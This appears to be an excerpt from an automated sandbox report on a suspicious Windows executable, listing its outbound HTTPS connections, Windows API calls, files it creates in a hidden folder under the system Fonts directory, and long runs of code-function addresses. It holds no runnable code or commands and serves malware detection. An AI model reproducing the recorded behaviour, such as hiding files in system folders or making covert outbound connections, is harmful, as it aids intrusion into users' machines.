Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 142.251.46.174:443 -> 192.168.11.20:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.33:443 -> 192.168.11.20:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49733 version: TLS 1.2

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_00404FE3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404FE3

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_0040310B EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040310B
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_0040310B EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		12_2_0040310B

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Windows\Fonts\Klud229			Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Windows\Fonts\Klud229\activism			Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_00404822	0_2_00404822
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_004062C3	0_2_004062C3
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_00406A9A	0_2_00406A9A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_00404822	12_2_00404822
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_004062C3	12_2_004062C3
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_00406A9A	12_2_00406A9A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AE790	12_2_076AE790
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AC582	12_2_076AC582
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A6418	12_2_076A6418
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A52FB	12_2_076A52FB
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AC2B0	12_2_076AC2B0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AD0C1	12_2_076AD0C1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A7098	12_2_076A7098
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076ABFE0	12_2_076ABFE0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076ACDF2	12_2_076ACDF2
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076ABB48	12_2_076ABB48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076ACB21	12_2_076ACB21
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A6920	12_2_076A6920
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AC851	12_2_076AC851
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A37E5	12_2_076A37E5
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AE781	12_2_076AE781
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076ABD10	12_2_076ABD10
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A3D88	12_2_076A3D88
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A2974	12_2_076A2974
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076A39B1	12_2_076A39B1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_076AF8C8	12_2_076AF8C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D71FA8	12_2_37D71FA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7CB70	12_2_37D7CB70
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D70B30	12_2_37D70B30
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D74EC8	12_2_37D74EC8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D72690	12_2_37D72690
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D791C8	12_2_37D791C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D71850	12_2_37D71850
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7FBD0	12_2_37D7FBD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7FBC0	12_2_37D7FBC0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D793E8	12_2_37D793E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D71F98	12_2_37D71F98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7F778	12_2_37D7F778
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7F768	12_2_37D7F768
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D70B20	12_2_37D70B20
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D72681	12_2_37D72681
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D79AB8	12_2_37D79AB8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D74EB8	12_2_37D74EB8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D78A40	12_2_37D78A40
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7ED98	12_2_37D7ED98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7ED87	12_2_37D7ED87
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D70040	12_2_37D70040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7184D	12_2_37D7184D
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D7001E	12_2_37D7001E
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D87190	12_2_37D87190
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8AD40	12_2_37D8AD40
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8A6E8	12_2_37D8A6E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D875D8	12_2_37D875D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8DFD8	12_2_37D8DFD8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D85FD0	12_2_37D85FD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D899D0	12_2_37D899D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D845C0	12_2_37D845C0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D85FC1	12_2_37D85FC1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D815F8	12_2_37D815F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D88FF8	12_2_37D88FF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8BFF8	12_2_37D8BFF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D82FF8	12_2_37D82FF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D875E8	12_2_37D875E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8DFE8	12_2_37D8DFE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D815E8	12_2_37D815E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D88FE8	12_2_37D88FE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D899E0	12_2_37D899E0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8BFE7	12_2_37D8BFE7
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8ED98	12_2_37D8ED98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8CD9A	12_2_37D8CD9A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D81191	12_2_37D81191
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D88B91	12_2_37D88B91
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D89588	12_2_37D89588
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8ED8A	12_2_37D8ED8A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D87180	12_2_37D87180
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D82BB0	12_2_37D82BB0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D845B0	12_2_37D845B0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8CDA8	12_2_37D8CDA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D811A0	12_2_37D811A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D88BA0	12_2_37D88BA0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D82BA0	12_2_37D82BA0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D82758	12_2_37D82758
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8DB58	12_2_37D8DB58
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D84158	12_2_37D84158
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8BB59	12_2_37D8BB59
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D80D48	12_2_37D80D48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D88748	12_2_37D88748
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8FB48	12_2_37D8FB48
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D82749	12_2_37D82749
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8DB49	12_2_37D8DB49
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D85B78	12_2_37D85B78
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D89578	12_2_37D89578
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D84168	12_2_37D84168
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8BB68	12_2_37D8BB68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D85B68	12_2_37D85B68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8C918	12_2_37D8C918
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D83D10	12_2_37D83D10
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D85710	12_2_37D85710
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8E908	12_2_37D8E908
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8C908	12_2_37D8C908
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D82300	12_2_37D82300
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D83D01	12_2_37D83D01
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D80D38	12_2_37D80D38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D88738	12_2_37D88738
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8FB38	12_2_37D8FB38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8AD36	12_2_37D8AD36
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D85720	12_2_37D85720
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8B6D8	12_2_37D8B6D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8A6D8	12_2_37D8A6D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D852C8	12_2_37D852C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8D6C8	12_2_37D8D6C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8B6CA	12_2_37D8B6CA
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8E8F8	12_2_37D8E8F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D808F0	12_2_37D808F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D882F0	12_2_37D882F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D822F0	12_2_37D822F0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D882E0	12_2_37D882E0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D808E1	12_2_37D808E1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D80498	12_2_37D80498
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D87E98	12_2_37D87E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D81E98	12_2_37D81E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8A290	12_2_37D8A290
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8C488	12_2_37D8C488
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D80488	12_2_37D80488
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D87E89	12_2_37D87E89
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8A280	12_2_37D8A280
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D838B8	12_2_37D838B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8F6B8	12_2_37D8F6B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D852B9	12_2_37D852B9
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8D6B9	12_2_37D8D6B9
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D81EA8	12_2_37D81EA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D838A8	12_2_37D838A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8F6A8	12_2_37D8F6A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D81A50	12_2_37D81A50
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D83451	12_2_37D83451
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8B248	12_2_37D8B248
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D80040	12_2_37D80040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D87A40	12_2_37D87A40
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D81A41	12_2_37D81A41
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8E478	12_2_37D8E478
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8C479	12_2_37D8C479
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D84E70	12_2_37D84E70
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8E469	12_2_37D8E469
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D83460	12_2_37D83460
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D84E60	12_2_37D84E60
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D84A18	12_2_37D84A18
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D86419	12_2_37D86419
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8001D	12_2_37D8001D
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8F217	12_2_37D8F217
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D83008	12_2_37D83008
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D84A08	12_2_37D84A08
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D89E38	12_2_37D89E38
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8D238	12_2_37D8D238
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D87A30	12_2_37D87A30
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8B237	12_2_37D8B237
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D86428	12_2_37D86428
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8F228	12_2_37D8F228
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D89E2A	12_2_37D89E2A
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37D8D227	12_2_37D8D227
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F661E8	12_2_37F661E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F67508	12_2_37F67508
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F60DF0	12_2_37F60DF0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F68CF0	12_2_37F68CF0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6E2F1	12_2_37F6E2F1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F61FF8	12_2_37F61FF8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6B7F8	12_2_37F6B7F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F648F8	12_2_37F648F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F674F8	12_2_37F674F8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6CFE0	12_2_37F6CFE0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F60DE0	12_2_37F60DE0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F68CE1	12_2_37F68CE1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F61FEA	12_2_37F61FEA
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F63FE8	12_2_37F63FE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6FAE8	12_2_37F6FAE8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6B7E8	12_2_37F6B7E8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F604D0	12_2_37F604D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F679D0	12_2_37F679D0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6CFD0	12_2_37F6CFD0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6A4D8	12_2_37F6A4D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F63FD8	12_2_37F63FD8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F661D8	12_2_37F661D8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6FAD8	12_2_37F6FAD8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F636C2	12_2_37F636C2
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6BCC0	12_2_37F6BCC0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F636C8	12_2_37F636C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6E7C8	12_2_37F6E7C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6A4C8	12_2_37F6A4C8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F666B0	12_2_37F666B0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6BCB0	12_2_37F6BCB0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F604BF	12_2_37F604BF
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F679BF	12_2_37F679BF
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F656B8	12_2_37F656B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F691B8	12_2_37F691B8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6E7B9	12_2_37F6E7B9
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F656A7	12_2_37F656A7
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F691A7	12_2_37F691A7
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6A9A0	12_2_37F6A9A0
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F666A1	12_2_37F666A1
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F62DA8	12_2_37F62DA8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6D4A8	12_2_37F6D4A8
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F62D97	12_2_37F62D97
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F64D97	12_2_37F64D97
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6D497	12_2_37F6D497
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6EC90	12_2_37F6EC90
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6A991	12_2_37F6A991
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F64D98	12_2_37F64D98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F67E98	12_2_37F67E98
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F61280	12_2_37F61280
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F69680	12_2_37F69680
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F62488	12_2_37F62488
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6C188	12_2_37F6C188
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F67E88	12_2_37F67E88
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F62477	12_2_37F62477
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6D970	12_2_37F6D970
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F69670	12_2_37F69670
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6EC7F	12_2_37F6EC7F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F64478	12_2_37F64478
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F66B78	12_2_37F66B78
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6C178	12_2_37F6C178
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F64467	12_2_37F64467
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F60960	12_2_37F60960
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F68360	12_2_37F68360
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F61B61	12_2_37F61B61
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6D961	12_2_37F6D961
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6126F	12_2_37F6126F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F61B68	12_2_37F61B68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6AE68	12_2_37F6AE68
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F66B69	12_2_37F66B69
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6C650	12_2_37F6C650
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F60950	12_2_37F60950
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F68350	12_2_37F68350
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F63B58	12_2_37F63B58
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6F158	12_2_37F6F158
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6AE59	12_2_37F6AE59
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F60040	12_2_37F60040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F67040	12_2_37F67040
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F6C641	12_2_37F6C641
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_37F65B48	12_2_37F65B48
